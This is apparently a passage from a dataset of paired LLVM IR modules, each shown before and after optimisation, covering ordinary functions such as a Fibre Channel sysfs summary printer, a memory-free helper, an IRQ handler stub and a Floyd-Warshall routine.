%76 = call i32 @free(ptr noundef %75)
br label %16, !llvm.loop !6
77: ; preds = %16
%78 = load ptr, ptr %3, align 8
%79 = call i32 @sysfsparser_closedir(ptr noundef %78)
%80 = load ptr, ptr %6, align 8
call void @llvm.stackrestore(ptr %80)
ret void
}
; Function Attrs: nocallback nofree nosync nounwind willreturn
declare ptr @llvm.stacksave() #1
declare i32 @sysfsparser_opendir(ptr noundef, ptr noundef, ...) #2
declare ptr @sysfsparser_readfilename(ptr noundef, i32 noundef) #2
declare i32 @printf(ptr noundef, ptr noundef) #2
declare i32 @snprintf(ptr noundef, i32 noundef, ptr noundef, ptr noundef, ptr noundef, ...) #2
declare ptr @realpath(ptr noundef, ptr noundef) #2
declare ptr @sysfsparser_getline(ptr noundef, ptr noundef) #2
declare i32 @fprintf(i32 noundef, ptr noundef, ptr noundef, ptr noundef) #2
declare i32 @free(ptr noundef) #2
declare i32 @fputs(ptr noundef, i32 noundef) #2
declare i32 @sysfsparser_closedir(ptr noundef) #2
; Function Attrs: nocallback nofree nosync nounwind willreturn
declare void @llvm.stackrestore(ptr) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { nocallback nofree nosync nounwind willreturn }
attributes #2 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
!8 = distinct !{!8, !7}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpu7gm2txu.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
%struct.dirent = type { ptr }
@PATH_MAX = dso_local global i32 0, align 4
@.str = private unnamed_addr constant [19 x i8] c"/sys/class/fc_host\00", align 1
@DT_DIR = dso_local global i32 0, align 4
@DT_LNK = dso_local global i32 0, align 4
@.str.1 = private unnamed_addr constant [21 x i8] c"Class Device = \22%s\22\0A\00", align 1
@.str.2 = private unnamed_addr constant [13 x i8] c"%s/%s/device\00", align 1
@.str.3 = private unnamed_addr constant [26 x i8] c"Class Device path = \22%s\22\0A\00", align 1
@.str.4 = private unnamed_addr constant [6 x i8] c"%s/%s\00", align 1
@DT_REG = dso_local global i32 0, align 4
@.str.5 = private unnamed_addr constant [9 x i8] c"%s/%s/%s\00", align 1
@.str.6 = private unnamed_addr constant [3 x i8] c"%s\00", align 1
@stdout = dso_local global i32 0, align 4
@.str.7 = private unnamed_addr constant [13 x i8] c"%25s = \22%s\22\0A\00", align 1
@.str.8 = private unnamed_addr constant [2 x i8] c"\0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @fc_host_summary(i8 noundef signext %0) #0 {
%2 = alloca i8, align 1
%3 = alloca ptr, align 8
%4 = alloca ptr, align 8
%5 = alloca ptr, align 8
%6 = alloca ptr, align 8
%7 = alloca i64, align 8
%8 = alloca ptr, align 8
%9 = alloca ptr, align 8
%10 = alloca ptr, align 8
store i8 %0, ptr %2, align 1
%11 = load i32, ptr @PATH_MAX, align 4
%12 = zext i32 %11 to i64
%13 = call ptr @llvm.stacksave()
store ptr %13, ptr %6, align 8
%14 = alloca i8, i64 %12, align 16
store i64 %12, ptr %7, align 8
%15 = call i32 (ptr, ptr, ...) @sysfsparser_opendir(ptr noundef %3, ptr noundef @.str)
%16 = load ptr, ptr %3, align 8
%17 = load i32, ptr @DT_DIR, align 4
%18 = load i32, ptr @DT_LNK, align 4
%19 = or i32 %17, %18
%20 = call ptr @sysfsparser_readfilename(ptr noundef %16, i32 noundef %19)
store ptr %20, ptr %4, align 8
%21 = icmp ne ptr %20, null
br i1 %21, label %.lr.ph2, label %85
.lr.ph2: ; preds = %1
br label %22
22: ; preds = %.lr.ph2, %.backedge
%23 = load ptr, ptr %4, align 8
%24 = getelementptr inbounds %struct.dirent, ptr %23, i32 0, i32 0
%25 = load ptr, ptr %24, align 8
%26 = call i32 @printf(ptr noundef @.str.1, ptr noundef %25)
%27 = load i8, ptr %2, align 1
%28 = icmp ne i8 %27, 0
br i1 %28, label %36, label %29
29: ; preds = %22
br label %.backedge
.backedge: ; preds = %29, %78
%30 = load ptr, ptr %3, align 8
%31 = load i32, ptr @DT_DIR, align 4
%32 = load i32, ptr @DT_LNK, align 4
%33 = or i32 %31, %32
%34 = call ptr @sysfsparser_readfilename(ptr noundef %30, i32 noundef %33)
store ptr %34, ptr %4, align 8
%35 = icmp ne ptr %34, null
br i1 %35, label %22, label %._crit_edge3, !llvm.loop !6
36: ; preds = %22
%37 = load i32, ptr @PATH_MAX, align 4
%38 = load ptr, ptr %4, align 8
%39 = getelementptr inbounds %struct.dirent, ptr %38, i32 0, i32 0
%40 = load ptr, ptr %39, align 8
%41 = call i32 (ptr, i32, ptr, ptr, ptr, ...) @snprintf(ptr noundef %14, i32 noundef %37, ptr noundef @.str.2, ptr noundef @.str, ptr noundef %40)
%42 = call ptr @realpath(ptr noundef %14, ptr noundef null)
store ptr %42, ptr %10, align 8
%43 = load ptr, ptr %10, align 8
%44 = call i32 @printf(ptr noundef @.str.3, ptr noundef %43)
%45 = load ptr, ptr %4, align 8
%46 = getelementptr inbounds %struct.dirent, ptr %45, i32 0, i32 0
%47 = load ptr, ptr %46, align 8
%48 = call i32 (ptr, ptr, ...) @sysfsparser_opendir(ptr noundef %8, ptr noundef @.str.4, ptr noundef @.str, ptr noundef %47)
%49 = load ptr, ptr %8, align 8
%50 = load i32, ptr @DT_REG, align 4
%51 = call ptr @sysfsparser_readfilename(ptr noundef %49, i32 noundef %50)
store ptr %51, ptr %9, align 8
%52 = icmp ne ptr %51, null
br i1 %52, label %.lr.ph, label %78
.lr.ph: ; preds = %36
br label %53
53: ; preds = %.lr.ph, %73
%54 = load i32, ptr @PATH_MAX, align 4
%55 = load ptr, ptr %4, align 8
%56 = getelementptr inbounds %struct.dirent, ptr %55, i32 0, i32 0
%57 = load ptr, ptr %56, align 8
%58 = load ptr, ptr %9, align 8
%59 = getelementptr inbounds %struct.dirent, ptr %58, i32 0, i32 0
%60 = load ptr, ptr %59, align 8
%61 = call i32 (ptr, i32, ptr, ptr, ptr, ...) @snprintf(ptr noundef %14, i32 noundef %54, ptr noundef @.str.5, ptr noundef @.str, ptr noundef %57, ptr noundef %60)
%62 = call ptr @sysfsparser_getline(ptr noundef @.str.6, ptr noundef %14)
store ptr %62, ptr %5, align 8
%63 = icmp ne ptr %62, null
br i1 %63, label %64, label %73
64: ; preds = %53
%65 = load i32, ptr @stdout, align 4
%66 = load ptr, ptr %9, align 8
%67 = getelementptr inbounds %struct.dirent, ptr %66, i32 0, i32 0
%68 = load ptr, ptr %67, align 8
%69 = load ptr, ptr %5, align 8
%70 = call i32 @fprintf(i32 noundef %65, ptr noundef @.str.7, ptr noundef %68, ptr noundef %69)
%71 = load ptr, ptr %5, align 8
%72 = call i32 @free(ptr noundef %71)
br label %73
73: ; preds = %64, %53
%74 = load ptr, ptr %8, align 8
%75 = load i32, ptr @DT_REG, align 4
%76 = call ptr @sysfsparser_readfilename(ptr noundef %74, i32 noundef %75)
store ptr %76, ptr %9, align 8
%77 = icmp ne ptr %76, null
br i1 %77, label %53, label %._crit_edge, !llvm.loop !8
._crit_edge: ; preds = %73
br label %78
78: ; preds = %._crit_edge, %36
%79 = load i32, ptr @stdout, align 4
%80 = call i32 @fputs(ptr noundef @.str.8, i32 noundef %79)
%81 = load ptr, ptr %8, align 8
%82 = call i32 @sysfsparser_closedir(ptr noundef %81)
%83 = load ptr, ptr %10, align 8
%84 = call i32 @free(ptr noundef %83)
br label %.backedge
._crit_edge3: ; preds = %.backedge
br label %85
85: ; preds = %._crit_edge3, %1
%86 = load ptr, ptr %3, align 8
%87 = call i32 @sysfsparser_closedir(ptr noundef %86)
%88 = load ptr, ptr %6, align 8
call void @llvm.stackrestore(ptr %88)
ret void
}
; Function Attrs: nocallback nofree nosync nounwind willreturn
declare ptr @llvm.stacksave() #1
declare i32 @sysfsparser_opendir(ptr noundef, ptr noundef, ...) #2
declare ptr @sysfsparser_readfilename(ptr noundef, i32 noundef) #2
declare i32 @printf(ptr noundef, ptr noundef) #2
declare i32 @snprintf(ptr noundef, i32 noundef, ptr noundef, ptr noundef, ptr noundef, ...) #2
declare ptr @realpath(ptr noundef, ptr noundef) #2
declare ptr @sysfsparser_getline(ptr noundef, ptr noundef) #2
declare i32 @fprintf(i32 noundef, ptr noundef, ptr noundef, ptr noundef) #2
declare i32 @free(ptr noundef) #2
declare i32 @fputs(ptr noundef, i32 noundef) #2
declare i32 @sysfsparser_closedir(ptr noundef) #2
; Function Attrs: nocallback nofree nosync nounwind willreturn
declare void @llvm.stackrestore(ptr) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { nocallback nofree nosync nounwind willreturn }
attributes #2 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
!8 = distinct !{!8, !7}
|
; ModuleID = '/tmp/tmplu9ydo6a.c'
source_filename = "/tmp/tmplu9ydo6a.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @FreeMemory(ptr noundef %0) #0 {
%2 = alloca ptr, align 8
%3 = alloca ptr, align 8
store ptr %0, ptr %2, align 8
%4 = load ptr, ptr %2, align 8
%5 = getelementptr inbounds i8, ptr %4, i64 -8
store ptr %5, ptr %3, align 8
%6 = load ptr, ptr %3, align 8
%7 = load i64, ptr %6, align 8
%8 = icmp eq i64 %7, 305419896
br i1 %8, label %9, label %12
9: ; preds = %1
%10 = load ptr, ptr %3, align 8
%11 = call i32 @free(ptr noundef %10)
br label %12
12: ; preds = %9, %1
ret void
}
declare i32 @free(ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmplu9ydo6a.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @FreeMemory(ptr noundef %0) #0 {
%2 = alloca ptr, align 8
%3 = alloca ptr, align 8
store ptr %0, ptr %2, align 8
%4 = load ptr, ptr %2, align 8
%5 = getelementptr inbounds i8, ptr %4, i64 -8
store ptr %5, ptr %3, align 8
%6 = load ptr, ptr %3, align 8
%7 = load i64, ptr %6, align 8
%8 = icmp eq i64 %7, 305419896
br i1 %8, label %9, label %12
9: ; preds = %1
%10 = load ptr, ptr %3, align 8
%11 = call i32 @free(ptr noundef %10)
br label %12
12: ; preds = %9, %1
ret void
}
declare i32 @free(ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpvpofb1_f.c'
source_filename = "/tmp/tmpvpofb1_f.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @Get_Long() #0 {
%1 = alloca i32, align 4
%2 = alloca i32, align 4
%3 = call i32 (...) @Get_Word()
store i32 %3, ptr %1, align 4
%4 = call i32 (...) @Get_Word()
store i32 %4, ptr %2, align 4
%5 = load i32, ptr %1, align 4
%6 = shl i32 %5, 16
%7 = load i32, ptr %2, align 4
%8 = or i32 %6, %7
ret i32 %8
}
declare i32 @Get_Word(...) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpvpofb1_f.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @Get_Long() #0 {
%1 = alloca i32, align 4
%2 = alloca i32, align 4
%3 = call i32 (...) @Get_Word()
store i32 %3, ptr %1, align 4
%4 = call i32 (...) @Get_Word()
store i32 %4, ptr %2, align 4
%5 = load i32, ptr %1, align 4
%6 = shl i32 %5, 16
%7 = load i32, ptr %2, align 4
%8 = or i32 %6, %7
ret i32 %8
}
declare i32 @Get_Word(...) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmp8zyw_m96.c'
source_filename = "/tmp/tmp8zyw_m96.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define weak dso_local void @ANATOP_EVENT1_IRQHandler() #0 {
%1 = call i32 (...) @ANATOP_EVENT1_DriverIRQHandler()
ret void
}
declare i32 @ANATOP_EVENT1_DriverIRQHandler(...) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmp8zyw_m96.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define weak dso_local void @ANATOP_EVENT1_IRQHandler() #0 {
%1 = call i32 (...) @ANATOP_EVENT1_DriverIRQHandler()
ret void
}
declare i32 @ANATOP_EVENT1_DriverIRQHandler(...) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpsejkn8am.c'
source_filename = "/tmp/tmpsejkn8am.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [17 x i8] c"Distance Matrix\0A\00", align 1
@.str.1 = private unnamed_addr constant [13 x i8] c"Pred Matrix\0A\00", align 1
@.str.2 = private unnamed_addr constant [2 x i8] c"\0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @FloydWarshall(i32 noundef %0, ptr noundef %1, ptr noundef %2) #0 {
%4 = alloca i32, align 4
%5 = alloca ptr, align 8
%6 = alloca ptr, align 8
%7 = alloca i32, align 4
%8 = alloca i32, align 4
%9 = alloca i32, align 4
store i32 %0, ptr %4, align 4
store ptr %1, ptr %5, align 8
store ptr %2, ptr %6, align 8
%10 = load i32, ptr %4, align 4
%11 = zext i32 %10 to i64
%12 = load i32, ptr %4, align 4
%13 = zext i32 %12 to i64
%14 = load i32, ptr %4, align 4
%15 = zext i32 %14 to i64
%16 = load i32, ptr %4, align 4
%17 = zext i32 %16 to i64
store i32 0, ptr %9, align 4
br label %18
18: ; preds = %117, %3
%19 = load i32, ptr %9, align 4
%20 = load i32, ptr %4, align 4
%21 = icmp slt i32 %19, %20
br i1 %21, label %22, label %120
22: ; preds = %18
store i32 0, ptr %7, align 4
br label %23
23: ; preds = %104, %22
%24 = load i32, ptr %7, align 4
%25 = load i32, ptr %4, align 4
%26 = icmp slt i32 %24, %25
br i1 %26, label %27, label %107
27: ; preds = %23
store i32 0, ptr %8, align 4
br label %28
28: ; preds = %100, %27
%29 = load i32, ptr %8, align 4
%30 = load i32, ptr %4, align 4
%31 = icmp slt i32 %29, %30
br i1 %31, label %32, label %103
32: ; preds = %28
%33 = load ptr, ptr %5, align 8
%34 = load i32, ptr %7, align 4
%35 = sext i32 %34 to i64
%36 = mul nsw i64 %35, %13
%37 = getelementptr inbounds i32, ptr %33, i64 %36
%38 = load i32, ptr %8, align 4
%39 = sext i32 %38 to i64
%40 = getelementptr inbounds i32, ptr %37, i64 %39
%41 = load i32, ptr %40, align 4
%42 = load ptr, ptr %5, align 8
%43 = load i32, ptr %7, align 4
%44 = sext i32 %43 to i64
%45 = mul nsw i64 %44, %13
%46 = getelementptr inbounds i32, ptr %42, i64 %45
%47 = load i32, ptr %9, align 4
%48 = sext i32 %47 to i64
%49 = getelementptr inbounds i32, ptr %46, i64 %48
%50 = load i32, ptr %49, align 4
%51 = load ptr, ptr %5, align 8
%52 = load i32, ptr %9, align 4
%53 = sext i32 %52 to i64
%54 = mul nsw i64 %53, %13
%55 = getelementptr inbounds i32, ptr %51, i64 %54
%56 = load i32, ptr %8, align 4
%57 = sext i32 %56 to i64
%58 = getelementptr inbounds i32, ptr %55, i64 %57
%59 = load i32, ptr %58, align 4
%60 = add nsw i32 %50, %59
%61 = icmp sgt i32 %41, %60
br i1 %61, label %62, label %99
62: ; preds = %32
%63 = load ptr, ptr %5, align 8
%64 = load i32, ptr %7, align 4
%65 = sext i32 %64 to i64
%66 = mul nsw i64 %65, %13
%67 = getelementptr inbounds i32, ptr %63, i64 %66
%68 = load i32, ptr %9, align 4
%69 = sext i32 %68 to i64
%70 = getelementptr inbounds i32, ptr %67, i64 %69
%71 = load i32, ptr %70, align 4
%72 = load ptr, ptr %5, align 8
%73 = load i32, ptr %9, align 4
%74 = sext i32 %73 to i64
%75 = mul nsw i64 %74, %13
%76 = getelementptr inbounds i32, ptr %72, i64 %75
%77 = load i32, ptr %8, align 4
%78 = sext i32 %77 to i64
%79 = getelementptr inbounds i32, ptr %76, i64 %78
%80 = load i32, ptr %79, align 4
%81 = add nsw i32 %71, %80
%82 = load ptr, ptr %5, align 8
%83 = load i32, ptr %7, align 4
%84 = sext i32 %83 to i64
%85 = mul nsw i64 %84, %13
%86 = getelementptr inbounds i32, ptr %82, i64 %85
%87 = load i32, ptr %8, align 4
%88 = sext i32 %87 to i64
%89 = getelementptr inbounds i32, ptr %86, i64 %88
store i32 %81, ptr %89, align 4
%90 = load i32, ptr %9, align 4
%91 = load ptr, ptr %6, align 8
%92 = load i32, ptr %7, align 4
%93 = sext i32 %92 to i64
%94 = mul nsw i64 %93, %17
%95 = getelementptr inbounds i32, ptr %91, i64 %94
%96 = load i32, ptr %8, align 4
%97 = sext i32 %96 to i64
%98 = getelementptr inbounds i32, ptr %95, i64 %97
store i32 %90, ptr %98, align 4
br label %99
99: ; preds = %62, %32
br label %100
100: ; preds = %99
%101 = load i32, ptr %8, align 4
%102 = add nsw i32 %101, 1
store i32 %102, ptr %8, align 4
br label %28, !llvm.loop !6
103: ; preds = %28
br label %104
104: ; preds = %103
%105 = load i32, ptr %7, align 4
%106 = add nsw i32 %105, 1
store i32 %106, ptr %7, align 4
br label %23, !llvm.loop !8
107: ; preds = %23
%108 = call i32 @printf(ptr noundef @.str)
%109 = load i32, ptr %4, align 4
%110 = load ptr, ptr %5, align 8
%111 = call i32 @PrintSquareMatrix(i32 noundef %109, ptr noundef %110)
%112 = call i32 @printf(ptr noundef @.str.1)
%113 = load i32, ptr %4, align 4
%114 = load ptr, ptr %6, align 8
%115 = call i32 @PrintSquareMatrix(i32 noundef %113, ptr noundef %114)
%116 = call i32 @printf(ptr noundef @.str.2)
br label %117
117: ; preds = %107
%118 = load i32, ptr %9, align 4
%119 = add nsw i32 %118, 1
store i32 %119, ptr %9, align 4
br label %18, !llvm.loop !9
120: ; preds = %18
ret void
}
declare i32 @printf(ptr noundef) #1
declare i32 @PrintSquareMatrix(i32 noundef, ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
!8 = distinct !{!8, !7}
!9 = distinct !{!9, !7}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpsejkn8am.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [17 x i8] c"Distance Matrix\0A\00", align 1
@.str.1 = private unnamed_addr constant [13 x i8] c"Pred Matrix\0A\00", align 1
@.str.2 = private unnamed_addr constant [2 x i8] c"\0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @FloydWarshall(i32 noundef %0, ptr noundef %1, ptr noundef %2) #0 {
%4 = alloca i32, align 4
%5 = alloca ptr, align 8
%6 = alloca ptr, align 8
%7 = alloca i32, align 4
%8 = alloca i32, align 4
%9 = alloca i32, align 4
store i32 %0, ptr %4, align 4
store ptr %1, ptr %5, align 8
store ptr %2, ptr %6, align 8
%10 = load i32, ptr %4, align 4
%11 = zext i32 %10 to i64
%12 = load i32, ptr %4, align 4
%13 = zext i32 %12 to i64
%14 = load i32, ptr %4, align 4
%15 = zext i32 %14 to i64
%16 = load i32, ptr %4, align 4
%17 = zext i32 %16 to i64
store i32 0, ptr %9, align 4
%18 = load i32, ptr %9, align 4
%19 = load i32, ptr %4, align 4
%20 = icmp slt i32 %18, %19
br i1 %20, label %.lr.ph5, label %126
.lr.ph5: ; preds = %3
br label %21
21: ; preds = %.lr.ph5, %120
store i32 0, ptr %7, align 4
%22 = load i32, ptr %7, align 4
%23 = load i32, ptr %4, align 4
%24 = icmp slt i32 %22, %23
br i1 %24, label %.lr.ph2, label %110
.lr.ph2: ; preds = %21
br label %25
25: ; preds = %.lr.ph2, %104
store i32 0, ptr %8, align 4
%26 = load i32, ptr %8, align 4
%27 = load i32, ptr %4, align 4
%28 = icmp slt i32 %26, %27
br i1 %28, label %.lr.ph, label %103
.lr.ph: ; preds = %25
br label %29
29: ; preds = %.lr.ph, %97
%30 = load ptr, ptr %5, align 8
%31 = load i32, ptr %7, align 4
%32 = sext i32 %31 to i64
%33 = mul nsw i64 %32, %13
%34 = getelementptr inbounds i32, ptr %30, i64 %33
%35 = load i32, ptr %8, align 4
%36 = sext i32 %35 to i64
%37 = getelementptr inbounds i32, ptr %34, i64 %36
%38 = load i32, ptr %37, align 4
%39 = load ptr, ptr %5, align 8
%40 = load i32, ptr %7, align 4
%41 = sext i32 %40 to i64
%42 = mul nsw i64 %41, %13
%43 = getelementptr inbounds i32, ptr %39, i64 %42
%44 = load i32, ptr %9, align 4
%45 = sext i32 %44 to i64
%46 = getelementptr inbounds i32, ptr %43, i64 %45
%47 = load i32, ptr %46, align 4
%48 = load ptr, ptr %5, align 8
%49 = load i32, ptr %9, align 4
%50 = sext i32 %49 to i64
%51 = mul nsw i64 %50, %13
%52 = getelementptr inbounds i32, ptr %48, i64 %51
%53 = load i32, ptr %8, align 4
%54 = sext i32 %53 to i64
%55 = getelementptr inbounds i32, ptr %52, i64 %54
%56 = load i32, ptr %55, align 4
